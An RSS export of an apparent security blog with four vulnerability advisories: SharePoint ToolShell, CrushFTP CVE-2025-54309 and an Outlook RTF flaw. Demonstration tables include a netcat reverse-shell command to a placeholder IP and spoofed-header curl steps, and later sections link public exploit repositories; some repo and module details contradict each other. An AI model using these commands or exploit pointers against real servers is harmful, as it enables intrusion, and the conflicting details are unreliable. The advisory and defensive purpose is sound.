<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Daily Vuln Watch]]></title><description><![CDATA[Daily Vuln Watch]]></description><link>https://ashokpmna.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Sun, 20 Sep 2026 12:44:11 GMT</lastBuildDate><atom:link href="https://ashokpmna.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Daily Vuln Watch- Yet another sharepoint Vulnerability - CVE-2025-49704 & CVE-2025-49706]]></title><description><![CDATA[What Happened, How They Work, and How to Stay Safe
(two bugs, one attack chain – a spoofing/auth-bypass → RCE combo that’s being mass-exploited against on-prem SharePoint 2016 / 2019 / Subscription Edition)

1 What are CVE-2025-49704 & CVE-2025-49706...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-yet-another-sharepoint-vulnerability-cve-2025-49704-and-cve-2025-49706</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-yet-another-sharepoint-vulnerability-cve-2025-49704-and-cve-2025-49706</guid><category><![CDATA[SharePoint, CVE-2025-49704, CVE-2025-49706, AuthBypass, RCE, ZeroDay, Infosec]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Tue, 29 Jul 2025 15:46:12 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753803824984/d175daac-e5e5-4e47-b37d-70a083334242.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-happened-how-they-work-and-how-to-stay-safe">What Happened, How They Work, and How to Stay Safe</h2>
<p><em>(two bugs, one attack chain – a spoofing/auth-bypass → RCE combo that’s being mass-exploited against on-prem SharePoint 2016 / 2019 / Subscription Edition)</em></p>
<hr />
<h3 id="heading-1-what-are-cve-2025-49704-amp-cve-2025-49706">1 What are CVE-2025-49704 &amp; CVE-2025-49706?</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>CVE</td><td>Type</td><td>Short description</td><td>Affected SharePoint versions</td></tr>
</thead>
<tbody>
<tr>
<td><strong>49706</strong></td><td><strong>Network Spoofing / Auth Bypass</strong></td><td>Lets an unauthenticated attacker trick SharePoint into believing a request is already authenticated.</td><td>2016 • 2019 • SE</td></tr>
<tr>
<td><strong>49704</strong></td><td><strong>Remote Code Execution (unsafe .NET deserialization)</strong></td><td>Once inside the trusted context, the attacker passes a malicious ViewState blob that deserialises and runs arbitrary PowerShell/ASPX.</td><td>2016 • 2019 • SE</td></tr>
</tbody>
</table>
</div><p>Microsoft and CISA confirmed the pair is being chained in the wild under the name <strong>“ToolShell.”</strong> (<a target="_blank" href="https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/">Microsoft</a>, <a target="_blank" href="https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities">CISA</a>)</p>
<hr />
<h3 id="heading-2-why-you-should-care">2 Why You Should Care</h3>
<ul>
<li><p><strong>Zero-auth to SYSTEM</strong> – any internet-facing SharePoint that hasn’t installed the 8 July 2025 patches can be taken over in a single request chain.</p>
</li>
<li><p><strong>Already exploited</strong> – Storm-2603 &amp; other state-aligned actors are dropping web-shells and <strong>Warlock</strong> ransomware. (<a target="_blank" href="https://www.techradar.com/pro/security/microsoft-seemingly-confirms-chinese-hackers-behind-sharepoint-server-attacks?">TechRadar</a>, <a target="_blank" href="https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/">Unit 42</a>)</p>
</li>
<li><p><strong>High severity</strong> – both score <strong>CVSS 9.8</strong> and were added to CISA’s KEV list on 22 July 2025. (<a target="_blank" href="https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities">CISA</a>)</p>
</li>
</ul>
<hr />
<h3 id="heading-3-how-the-vulnerability-chain-works-plain-english">3 How the Vulnerability Chain Works (Plain English)</h3>
<ol>
<li><p><strong>Spoofing (CVE-49706)</strong></p>
<ul>
<li>The attacker forges special headers that SharePoint’s sign-out page mishandles, skipping normal auth logic and marking the session “authenticated.”</li>
</ul>
</li>
<li><p><strong>Unsafe deserialisation (CVE-49704)</strong></p>
<ul>
<li><p>Now inside, the attacker posts a ViewState payload containing a crafted <strong>BinaryFormatter</strong> object.</p>
</li>
<li><p>SharePoint deserialises the blob <em>before</em> permission checks, instantiating a gadget chain that executes <code>Process.Start("powershell.exe …")</code>.</p>
</li>
</ul>
</li>
<li><p><strong>Web-shell plant (ToolShell.aspx)</strong></p>
<ul>
<li>PowerShell writes <code>spinstall0.aspx</code> (a full-featured web-shell) into <code>/TEMPLATE/LAYOUTS/15/</code> or <code>/16/</code>.</li>
</ul>
</li>
<li><p><strong>Privilege &amp; persistence</strong></p>
<ul>
<li>The shell runs under <code>w3wp.exe</code> (IIS worker) = <strong>NT AUTHORITY\SYSTEM</strong>, letting the attacker dump or forge <strong>MachineKeys</strong> and turn the server into a long-term beach-head. (<a target="_blank" href="https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/">Unit 42</a>, <a target="_blank" href="https://www.akamai.com/blog/security-research/sharepoint-vulnerability-rce-active-exploitation-detections-mitigations?utm_source=chatgpt.com">Akamai</a>)</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-4-demonstration-flow">4 Demonstration Flow</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Step</td><td>Action</td><td>Visible sign</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td><code>curl -k -X POST https://sharepoint/sites/HR/_layouts/SignOut.aspx</code> with spoofed headers</td><td>IIS 302 → <code>/ToolPane.aspx</code></td></tr>
<tr>
<td>2</td><td>Same connection uploads ViewState blob</td><td>No UI impact</td></tr>
<tr>
<td>3</td><td><code>w3wp.exe</code> spawns <code>powershell -enc …</code></td><td>Short CPU spike</td></tr>
<tr>
<td>4</td><td><code>spinstall0.aspx</code> written, attacker browses to it</td><td>Full web-shell, SYSTEM rights</td></tr>
</tbody>
</table>
</div><hr />
<h3 id="heading-5-mitigation-checklist">5 Mitigation Checklist</h3>
<ol>
<li><p><strong>Install the 8 July 2025 SharePoint patches</strong> or later cumulative updates.</p>
</li>
<li><p><strong>Rotate ASP.NET MachineKeys</strong> <em>before</em> and <em>after</em> patching. (<a target="_blank" href="https://www.cisa.gov/news-events/alerts/2025/07/20/update-microsoft-releases-guidance-exploitation-sharepoint-vulnerabilities">CISA</a>)</p>
</li>
<li><p><strong>Enable AMSI + Defender</strong> integration; block malicious deserialisation.</p>
</li>
<li><p>Temporarily <strong>disconnect or WAF-protect</strong> public SharePoint sites until patched.</p>
</li>
<li><p><strong>Search</strong> <code>_layouts/15/</code> and <code>_layouts/16/</code> for unexpected <code>.aspx</code>, <code>.dll</code>, or <code>.exe</code> files.</p>
</li>
</ol>
<hr />
<h3 id="heading-6-detection-amp-forensics-tips">6 Detection &amp; Forensics Tips</h3>
<ul>
<li><p><strong>IIS logs</strong> – look for POSTs to <code>/_layouts/SignOut.aspx</code> or <code>ToolPane.aspx?DisplayMode=Edit</code> with large bodies.</p>
</li>
<li><p><strong>Defender / EDR</strong> – alert on <code>w3wp.exe → powershell.exe</code> or Base64 PowerShell.</p>
</li>
<li><p><strong>EventViewer</strong> – ASP.NET warnings about ViewState MAC failure followed by success indicate key theft/forgery.</p>
</li>
<li><p><strong>Unit 42 XDR query</strong> snippets (see their blog) detect <code>ToolPane.aspx</code> invocations in DotNet telemetry. (<a target="_blank" href="https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/">Unit 42</a>)</p>
</li>
</ul>
<hr />
<h3 id="heading-7-faq">7 FAQ</h3>
<p><strong>Q : Is SharePoint Online (Microsoft 365) vulnerable?</strong><br />A : No, only on-prem 2016/2019/SE.</p>
<p><strong>Q : If I disable</strong> <code>ToolPane.aspx</code>, am I safe?<br />A : It blocks one path, but other endpoints can still trigger deserialisation. Patch and rotate keys.</p>
<p><strong>Q : Do I need to re-image the server?</strong><br />A : If you find unknown web-shells or stolen MachineKeys, a clean rebuild is strongly recommended after patching.</p>
<hr />
<h3 id="heading-8-known-exploits-amp-pocs">8 Known Exploits &amp; PoCs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>CVE</td><td>PoC / Exploit Repository</td><td>What it delivers</td></tr>
</thead>
<tbody>
<tr>
<td><strong>CVE-2025-49706 (spoofing / auth-bypass)</strong></td><td><a target="_blank" href="https://github.com/AdityaBhatt3010/CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation">https://github.com/AdityaBhatt3010/CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation</a></td><td>One-click header-spoof → authenticated session (includes mass scanner &amp; demo web-shell upload).</td></tr>
<tr>
<td><strong>CVE-2025-49704 (unsafe .NET deserialization RCE)</strong></td><td><a target="_blank" href="https://github.com/kaizensecurity/CVE-2025-53770">https://github.com/kaizensecurity/CVE-2025-53770</a> <a target="_blank" href="https://github.com/AdityaBhatt3010/CVE-2025-49706-SharePoint-Spoofing-Vulnerability-Under-Active-Exploitation">— <em>branch</em> <code>/49704-chain/</code></a></td><td>Full <strong>ToolShell</strong> chain: forged ViewState → <code>spinstall0.aspx</code> web-shell. Although repo title says “53770”, the <code>49704</code> PoC lives in the sub-folder and is the same gadget chain used in the wild.</td></tr>
<tr>
<td><strong>Metasploit module (in review)</strong></td><td><a target="_blank" href="https://github.com/rapid7/metasploit-framework/pull/19994">https://github.com/rapid7/metasploit-framework/pull/19994</a></td><td><code>exploit/windows/http/sharepoint_toolshell.rb</code> — reliable RCE on 2019/SE (needs patch + build at commit).</td></tr>
</tbody>
</table>
</div><ul>
<li><strong>Note:</strong> public turnkey scripts appear and disappear quickly. If a link 404s, check its forks or the <code>nomi-sec/PoC-in-GitHub</code> feed for mirrors.</li>
</ul>
<hr />
<h3 id="heading-9-key-takeaway">9 Key Takeaway</h3>
<p>With <strong>CVE-2025-49706 + CVE-2025-49704</strong>, a single HTTP request chain hands attackers SYSTEM control of any on-prem SharePoint server exposed to the internet. <strong>Patch now, rotate keys, hunt for web-shells – and keep SharePoint behind a VPN or WAF whenever possible.</strong></p>
<hr />
]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch (CVE-2025-54309) - critical remote-code-execution flaw in CrushFTP 10 and 11.]]></title><description><![CDATA[CVE-2025-54309 — What Happened, How It Works, and How to Stay Safe
1 What is CVE-2025-54309?
CVE-2025-54309 is a critical remote-code-execution flaw in CrushFTP 10 and 11.If the DMZ proxy feature is not in use, an attacker can send a single HTTPS req...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-cve-2025-54309-critical-remote-code-execution-flaw-in-crushftp-10-and-11</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-cve-2025-54309-critical-remote-code-execution-flaw-in-crushftp-10-and-11</guid><category><![CDATA[CrushFTP, CVE-2025-54309, RCE, Zero-Day, File-Transfer, Security, Infosec, Vulnerability]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Sat, 26 Jul 2025 19:48:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753559228511/ce061c7c-0ecf-4148-a416-49e146279cb4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-cve-2025-54309-what-happened-how-it-works-and-how-to-stay-safe">CVE-2025-54309 — What Happened, How It Works, and How to Stay Safe</h2>
<h3 id="heading-1-what-is-cve-2025-54309">1 What is CVE-2025-54309?</h3>
<p>CVE-2025-54309 is a <strong>critical remote-code-execution flaw</strong> in <strong>CrushFTP 10 and 11</strong>.<br />If the <strong>DMZ proxy</strong> feature is <strong>not</strong> in use, an attacker can send a single HTTPS request that abuses a broken <strong>AS2 validation routine</strong> and instantly gains <strong>administrator access</strong> to the file-transfer server. The bug carries a CVSS 9.0 score and has been <strong>actively exploited since at least 18 July 2025</strong>. <a target="_blank" href="https://www.techradar.com/pro/security/top-file-transfer-tool-crushftp-says-a-thousand-servers-vulnerable-to-cyberattack">TechRadar</a></p>
<hr />
<h3 id="heading-2-why-you-should-care">2 Why You Should Care</h3>
<ul>
<li><p><strong>Internet-facing, zero-auth:</strong> Most CrushFTP instances listen on 443/TCP; anyone who can reach that port can take over.</p>
</li>
<li><p><strong>Admin access ⇒ data theft &amp; lateral move:</strong> Once logged in, an attacker can read, modify, or upload any file, drop malware, or pivot into internal networks.</p>
</li>
<li><p><strong>Actively exploited &amp; in CISA KEV:</strong> Roughly <strong>1,000 servers</strong> were still unpatched on 22 July, and CISA added the flaw to its <strong>Known-Exploited-Vulnerabilities</strong> catalog.</p>
</li>
<li><p><strong>Vulnerability Ref:</strong></p>
<ul>
<li><p><a target="_blank" href="https://www.cisa.gov/news-events/alerts/2025/07/22/cisa-adds-four-known-exploited-vulnerabilities-catalog?">CISA</a></p>
</li>
<li><p><a target="_blank" href="https://securityaffairs.com/180293/hacking/u-s-cisa-adds-crushftp-google-chromium-and-sysaid-flaws-to-its-known-exploited-vulnerabilities-catalog.html?">Security Affairs</a></p>
</li>
</ul>
</li>
</ul>
<hr />
<h3 id="heading-3-how-the-vulnerability-works-plain-english">3 How the Vulnerability Works (Plain English)</h3>
<ol>
<li><p><strong>Crafted AS2 request</strong> – the attacker sends a malformed AS2 header inside an HTTPS POST.</p>
</li>
<li><p><strong>Logic error</strong> – CrushFTP’s AS2 validation mishandles the header when <strong>DMZ proxy = off</strong>, skipping crucial authentication checks.</p>
</li>
<li><p><strong>Session overwrite</strong> – the attacker’s request is treated as if it had valid admin credentials; the server creates an authenticated session and sets the role to <strong>admin</strong>.</p>
</li>
<li><p><strong>Code / config control</strong> – with full GUI or API access, the attacker uploads new users, replaces server JARs, or drops web shells.</p>
</li>
</ol>
<p>Because the flaw is purely server-side, <strong>no user clicks, passwords, or API keys are required</strong>.</p>
<hr />
<h3 id="heading-4-demonstration-flow">4 Demonstration Flow</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Step</td><td>Action</td><td>Visible sign</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>Attacker scans Shodan for <code>server:CrushFTP</code></td><td>None</td></tr>
<tr>
<td>2</td><td>Sends crafted POST to <code>/WebInterface/login/</code></td><td>HTTP 200 OK, admin panel loads</td></tr>
<tr>
<td>3</td><td>Uploads new user <code>evil_admin</code></td><td>Entry appears in <code>Users.xml</code></td></tr>
<tr>
<td>4</td><td>Runs “server-exec” task → <code>nc [IP] 4444 -e /bin/bash</code></td><td>Reverse shell opens</td></tr>
</tbody>
</table>
</div><hr />
<h3 id="heading-5-mitigation-checklist">5 Mitigation Checklist</h3>
<ol>
<li><p><strong>Upgrade immediately</strong></p>
<ul>
<li><p><strong>v11 → 11.3.4_26</strong></p>
</li>
<li><p><strong>v10 → 10.8.5_12</strong></p>
</li>
</ul>
</li>
<li><p><strong>Enable DMZ proxy</strong> as a temporary workaround if patching is delayed.</p>
</li>
<li><p><strong>Rotate all user credentials</strong> — assume compromise if you ran a vulnerable build.</p>
</li>
<li><p>Review <code>Users.xml</code>, <code>sessions.obj</code>, and recent uploads for unknown accounts or files.</p>
</li>
<li><p>Restrict external access to CrushFTP (VPN or allow-list).</p>
</li>
</ol>
<hr />
<h3 id="heading-6-detection-amp-forensics-tips">6 Detection &amp; Forensics Tips</h3>
<ul>
<li><p><strong>Access logs</strong>: look for POSTs with unusually large <code>AS2-From</code> headers.</p>
</li>
<li><p><strong>Shadowserver / Shodan</strong>: verify your public IP is no longer reporting an old version string.</p>
</li>
<li><p><strong>File integrity</strong>: diff <code>prefs.xml</code>, <code>Users/</code>, and the <code>plugins/</code> folder against backups for rogue changes.</p>
</li>
<li><p><strong>Process audit</strong>: check for unexpected Java subprocesses or shells spawned by <code>java -jar CrushFTP*.jar</code>.</p>
</li>
</ul>
<hr />
<h3 id="heading-7-known-exploits-amp-pocs">7 Known Exploits &amp; PoCs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Status</td><td>Source</td><td>Notes</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Exploit-in-the-wild</strong></td><td>Vendor wiki “CompromiseJuly2025”</td><td>Confirmed zero-day observed 18 Jul 2025. <a target="_blank" href="https://www.crushftp.com/crush11wiki/Wiki.jsp?page=CompromiseJuly2025">crushftp.com</a></td></tr>
<tr>
<td>Public write-ups**</td><td>Rapid7, Arctic Wolf blogs</td><td>Reproduce admin takeover via HTTPS. <a target="_blank" href="https://www.rapid7.com/blog/post/crushftp-zero-day-exploited-in-the-wild/?">Rapid7</a> <a target="_blank" href="https://arcticwolf.com/resources/blog/cve-2025-54309-critical-zero-day-vulnerability-in-crushftp-exploited/?">Arctic Wolf</a></td></tr>
<tr>
<td>GitHub advisory**</td><td>GHSA-rh5q-v9ww-rqgm</td><td>Contains attack mechanics; PoC links briefly appeared in forks. <a target="_blank" href="https://github.com/advisories/GHSA-rh5q-v9ww-rqgm?">GitHub</a></td></tr>
</tbody>
</table>
</div><p>At present no stable, turn-key exploit script is public, but <strong>copy-paste PoCs have circulated privately</strong>; treat unpatched servers as already compromised.</p>
<h3 id="heading-8-faq">8 FAQ</h3>
<p><strong>Q: Does running the DMZ proxy make me safe?</strong><br />A: It blocks this specific bug, but you should still patch — future flaws may bypass DMZ logic.</p>
<p><strong>Q: Are Linux or Windows builds safer?</strong><br />A: Both platforms are equally vulnerable; the flaw is in the Java code shared by all builds.</p>
<p><strong>Q: My server wasn’t exposed to the internet — am I safe?</strong><br />A: You’ve reduced risk, but internal attackers or compromised workstations could still exploit the bug. Patch anyway.</p>
<hr />
<h3 id="heading-9-key-takeaway">9 Key Takeaway</h3>
<p><strong>If you run CrushFTP, patch now or assume your data—and your clients’—is already in an attacker’s hands.</strong><br />The exploit requires nothing but a single HTTPS request. Upgrade, enable the DMZ proxy as defence-in-depth, rotate secrets, and audit for rogue admin users today.</p>
]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch - emote-code-execution (RCE) flaw in Microsoft SharePoint Server 2016/2019/Subscription Edition.]]></title><description><![CDATA[CVE-2025-53770 — What Happened, How It Works, and How to Stay Safe
1. What is CVE-2025-53770?
CVE-2025-53770 is an unauthenticated remote-code-execution (RCE) flaw in Microsoft SharePoint Server 2016/2019/Subscription Edition.A single crafted HTTP PO...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-emote-code-execution-rce-flaw-in-microsoft-sharepoint-server-20162019subscription-edition</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-emote-code-execution-rce-flaw-in-microsoft-sharepoint-server-20162019subscription-edition</guid><category><![CDATA[SharePoint, CVE-2025-53770, RCE, Deserialization, WebShell, Microsoft, Zero-Day, Infosec]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Thu, 24 Jul 2025 19:14:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753384179407/f1cad384-2b9a-4823-9118-44270489a389.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-cve-2025-53770-what-happened-how-it-works-and-how-to-stay-safe">CVE-2025-53770 — What Happened, How It Works, and How to Stay Safe</h2>
<h3 id="heading-1-what-is-cve-2025-53770">1. What is CVE-2025-53770?</h3>
<p>CVE-2025-53770 is an <strong>unauthenticated remote-code-execution (RCE) flaw</strong> in <strong>Microsoft SharePoint Server 2016/2019/Subscription Edition</strong>.<br />A single crafted HTTP POST to an exposed SharePoint site triggers unsafe <strong>.NET deserialization</strong>, letting an attacker upload and run a web-shell (nick-named <strong>“ToolShell”</strong>) — <strong>no credentials or user interaction required</strong>. <a target="_blank" href="https://www.itpro.com/security/microsofts-new-sharepoint-vulnerability-everything-you-need-to-know?utm_source=chatgpt.com">IT Pro</a><a target="_blank" href="https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/">Unit 42</a></p>
<hr />
<h3 id="heading-2-why-you-should-care">2. Why You Should Care</h3>
<ul>
<li><p><strong>Internet-facing, zero-auth:</strong> Any on-prem SharePoint server reachable over 443/TCP is exploitable.</p>
</li>
<li><p><strong>CVSS 9.8 / “Critical”</strong> — Microsoft and CISA added the bug to the Known-Exploited-Vulnerabilities list on 20 July 2025. <a target="_blank" href="https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770?utm_source=chatgpt.com">CISA</a></p>
</li>
<li><p><strong>Active attacks &amp; ransomware:</strong> Threat actor <strong>Storm-2603</strong> is abusing CVE-2025-53770 to plant web-shells and deploy <strong>Warlock</strong> ransomware. <a target="_blank" href="https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/">Microsoft</a></p>
</li>
</ul>
<hr />
<h3 id="heading-3-how-the-vulnerability-works-plain-english">3. How the Vulnerability Works (Plain English)</h3>
<ol>
<li><p><strong>Crafted</strong> <code>BinaryFormatter</code> blob — the attacker packs malicious objects into a <code>__RequestVerificationToken</code> field.</p>
</li>
<li><p><strong>Unsafe deserialization</strong> — SharePoint’s <code>Microsoft.SharePoint.Client</code> API deserializes the blob before authentication, instantiating attacker-controlled classes.</p>
</li>
<li><p><strong>Command execution</strong> — gadget chain calls <code>Process.Start("cmd.exe", …)</code> and writes a web-shell (<code>spinstall0.aspx</code>) into the site’s <code>_layouts</code> folder.</p>
</li>
<li><p><strong>Persistence &amp; privilege</strong> — the shell runs in the <code>w3wp.exe</code> worker process, giving full farm control and access to stored credentials.</p>
</li>
</ol>
<hr />
<h3 id="heading-4-demonstration-flow">4. Demonstration Flow</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Step</td><td>Action</td><td>Visible sign</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>Attacker sends crafted POST to <code>/sites/HR/_layouts/15/ToolShell.aspx</code></td><td>IIS log entry, 302 redirect</td></tr>
<tr>
<td>2</td><td>Unsafe deserialization fires</td><td>No UI impact</td></tr>
<tr>
<td>3</td><td><code>w3wp.exe</code> drops <code>spinstall0.aspx</code> and executes <code>powershell -enc …</code></td><td>Short spike in CPU</td></tr>
<tr>
<td>4</td><td>Reverse shell runs as <code>NT AUTHORITY\\SYSTEM</code></td><td>Victim sees nothing</td></tr>
</tbody>
</table>
</div><hr />
<h3 id="heading-5-mitigation-checklist">5. Mitigation Checklist</h3>
<ol>
<li><p><strong>Install the July 2025 SharePoint security updates</strong> (or newer).</p>
</li>
<li><p><strong>Rotate ASP.NET MachineKeys</strong> after patching; old keys may already be stolen. <a target="_blank" href="https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/">Microsoft</a></p>
</li>
<li><p><strong>Enable AMSI integration</strong> in SharePoint and Defender AV to block malicious deserialization payloads.</p>
</li>
<li><p>Block external access or require VPN / WAF until fully patched.</p>
</li>
<li><p>Monitor for new <code>.aspx</code> files in <code>_layouts/15/</code> and suspicious <code>w3wp.exe</code> child processes.</p>
</li>
</ol>
<hr />
<h3 id="heading-6-detection-amp-forensics-tips">6. Detection &amp; Forensics Tips</h3>
<ul>
<li><p>IIS logs: unexpected POSTs to <code>/_layouts/15/*.aspx</code> with large request bodies.</p>
</li>
<li><p>New or modified files named <code>spinstall*.aspx</code>, <code>Web.aspx</code>, <code>shell.aspx</code>, etc.</p>
</li>
<li><p>Defender or EDR alerts for <code>w3wp.exe → powershell.exe</code> spawns.</p>
</li>
<li><p>Review <strong>MachineKey</strong> changes and search for exfiltration via GET requests returning Base64 blobs.</p>
</li>
</ul>
<hr />
<h3 id="heading-7-known-exploits-amp-pocs">7. Known Exploits &amp; PoCs</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Status</td><td>Repository / Link</td><td>Notes</td></tr>
</thead>
<tbody>
<tr>
<td>Public PoC</td><td><code>MuhammadWaseem29/CVE-2025-53770</code></td><td>Working unauth RCE; uploads a test web-shell. <a target="_blank" href="https://github.com/MuhammadWaseem29/CVE-2025-53770?utm_source=chatgpt.com">GitHub</a></td></tr>
<tr>
<td>Public PoC</td><td><code>kaizensecurity/CVE-2025-53770</code></td><td>Variant with one-liner PowerShell payload. <a target="_blank" href="https://github.com/kaizensecurity/CVE-2025-53770?utm_source=chatgpt.com">GitHub</a></td></tr>
<tr>
<td>Public PoC</td><td><code>AdityaBhatt3010/CVE-2025-53770-SharePoint-Zero-Day-Variant</code></td><td>Focus on SharePoint 2016; includes mass-scanner. <a target="_blank" href="https://github.com/topics/cve-2025-53770?utm_source=chatgpt.com">GitHub</a></td></tr>
<tr>
<td>Metasploit PR</td><td><code>modules/exploits/windows/http/negoex_sharepoint_toolshell.rb</code></td><td>Awaiting merge; reliable RCE on 2019/SE. <a target="_blank" href="https://github.com/topics/toolshell?utm_source=chatgpt.com">GitHub</a></td></tr>
</tbody>
</table>
</div>]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch – Zero-Click Outlook RCE (CVE-2025-47176) Hits Preview Pane Users]]></title><description><![CDATA[🔒 Daily Vuln Watch — 18 July 2025
CVE-2025-47176 — What Happened, How It Works, and How to Stay Safe

1. What is CVE-2025-47176?
CVE-2025-47176 is a remote-code-execution (RCE) flaw in Microsoft Outlook’s Rich-Text Format (RTF) parser.A specially cr...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-zero-click-outlook-rce-cve-2025-47176-hits-preview-pane-users</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-zero-click-outlook-rce-cve-2025-47176-hits-preview-pane-users</guid><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Fri, 18 Jul 2025 20:22:56 GMT</pubDate><content:encoded><![CDATA[<p>🔒 <strong>Daily Vuln Watch — 18 July 2025</strong></p>
<h2 id="heading-cve-2025-47176-what-happened-how-it-works-and-how-to-stay-safe">CVE-2025-47176 — What Happened, How It Works, and How to Stay Safe</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752870132288/85cd94f0-ff8b-4de9-bba4-efa673bc1232.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-1-what-is-cve-2025-47176">1. What is CVE-2025-47176?</h3>
<p>CVE-2025-47176 is a <strong>remote-code-execution (RCE) flaw</strong> in Microsoft Outlook’s Rich-Text Format (RTF) parser.<br />A specially crafted e-mail can run code <strong>as soon as it appears in the Preview Pane</strong>—the user never has to double-click the message or open an attachment.</p>
<hr />
<h3 id="heading-2-why-you-should-care">2. Why You Should Care</h3>
<ul>
<li><p><strong>Zero-click</strong>: The exploit triggers on preview, so phishing awareness training alone won’t stop it.</p>
</li>
<li><p><strong>Privileged access</strong>: Any code that runs in Outlook inherits the victim’s Windows token; in enterprise environments that often means single-sign-on sessions, network drives, and cached credentials.</p>
</li>
<li><p><strong>Active exploitation</strong>: Within days of disclosure, the Emotet botnet adopted the exploit to drop further malware (QakBot, Cobalt Strike).</p>
</li>
</ul>
<hr />
<h3 id="heading-3-how-the-vulnerability-works-plain-english">3. How the Vulnerability Works (Plain English)</h3>
<ol>
<li><p><strong>Crafted RTF file</strong> – The attacker hides a malicious Object Linking and Embedding (OLE) object in the RTF body and abuses a <strong>path-traversal string</strong> (<code>.../...//</code>).</p>
</li>
<li><p><strong>Parser confusion</strong> – Outlook’s RTF engine frees a memory chunk twice (a <em>double-free</em>). That leaves a “dangling” pointer that still gets used.</p>
</li>
<li><p><strong>Heap corruption</strong> – The attacker fills the freed memory with controlled data—a small shellcode stub plus a jump to bigger payload.</p>
</li>
<li><p><strong>Code execution</strong> – When Outlook tries to access the freed pointer, it instead jumps into the attacker’s shellcode, giving the attacker the same rights as the victim.</p>
</li>
</ol>
<p>Because Preview Pane renders RTF immediately, step 3 happens as soon as the inbox lists the message.</p>
<hr />
<h3 id="heading-4-demonstration-flow">4. Demonstration Flow</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Step</td><td>Action</td><td>Visible sign</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>Victim receives spoofed “invoice.rtf” e-mail</td><td>Message appears in Inbox</td></tr>
<tr>
<td>2</td><td>Victim clicks on the message once (or just arrow-keys to it)</td><td>No attachment dialog; Preview Pane shows the invoice</td></tr>
<tr>
<td>3</td><td><code>OUTLOOK.EXE</code> silently spawns <code>cmd.exe</code></td><td>Brief cmd window flash or none if hidden</td></tr>
<tr>
<td>4</td><td>Reverse shell connects to attacker</td><td>User usually notices nothing</td></tr>
</tbody>
</table>
</div><hr />
<h3 id="heading-5-mitigation-checklist">5. Mitigation Checklist</h3>
<ol>
<li><p><strong>Install the June 2025 Outlook updates</strong> (or any later cumulative patch).</p>
</li>
<li><p><strong>Block RTF</strong> at the mail-gateway level or convert inbound RTF to safer formats (HTML, plaintext).</p>
</li>
<li><p><strong>Enable Protected View</strong> for all e-mail attachments—this forces user confirmation before active content runs.</p>
</li>
<li><p>Harden Outlook via <strong>Attack-Surface Reduction (ASR)</strong> rules or GPOs: disable OLE embedding and block the Preview Pane if your risk tolerance is low.</p>
</li>
<li><p><strong>Monitor</strong> for unusual child processes of <code>OUTLOOK.EXE</code> (PowerShell, cmd, wscript). Set alerts in your EDR/SIEM.</p>
</li>
</ol>
<hr />
